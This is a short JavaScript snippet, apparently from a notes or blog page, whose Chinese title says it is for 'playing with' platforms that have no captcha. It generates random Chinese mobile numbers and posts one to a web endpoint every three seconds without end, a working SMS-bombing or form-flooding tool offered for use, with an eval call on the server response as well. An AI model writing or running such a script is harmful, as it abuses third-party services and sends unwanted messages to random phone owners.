1. 针对没有验证码的平台玩一玩

// 根据字典生成随机序列
var randomCode = function (len,dict) {
  for (var i = 0,rs = ''; i < len; i++)
  rs += dict.charAt(Math.floor(Math.random() * 100000000) % dict.length);
  return rs;
}
// 生成随机手机号码
var randomPhoneNumber = function(){
  // 第1位是1 第2,3位是37958 第4-7位是* 最后四位随机
  return [1,randomCode(2,'37958'),randomCode(4,'0123456789'),randomCode(4,'0123456789')].join('');
};

var xhr;
        function createXMLHttpRequest() {
            if (window.ActiveXObject) {
                xhr = new ActiveXObject("Microsoft.XMLHTTP");
            } else if (window.XMLHttpRequest) {
                xhr = new XMLHttpRequest();
            }
        }
        function handleStateChange(call) {
            if (xhr.readyState == 4) {
                if (xhr.status == 200 || xhr.status == 0) {
                    var result = xhr.response;
                    var obj = eval('(' + result + ')');
                    console.log(call+':-->Ret-->',obj)
                }
            }
        }
        var send = function (api,key,phone){
            var FileController = api;
            var form = new FormData();
            form.append(''+key+'', phone);
            createXMLHttpRequest();
            xhr.onreadystatechange = function(){ handleStateChange(phone) };
            xhr.open("post", FileController, true);
            xhr.send(form);
            return false;
        }
function Start()
{
    send("https://baidu.com",'mobile',randomPhoneNumber());
    setTimeout('Start()',3000);
}
setTimeout('Start()',5000);

results matching ""

    No results matching ""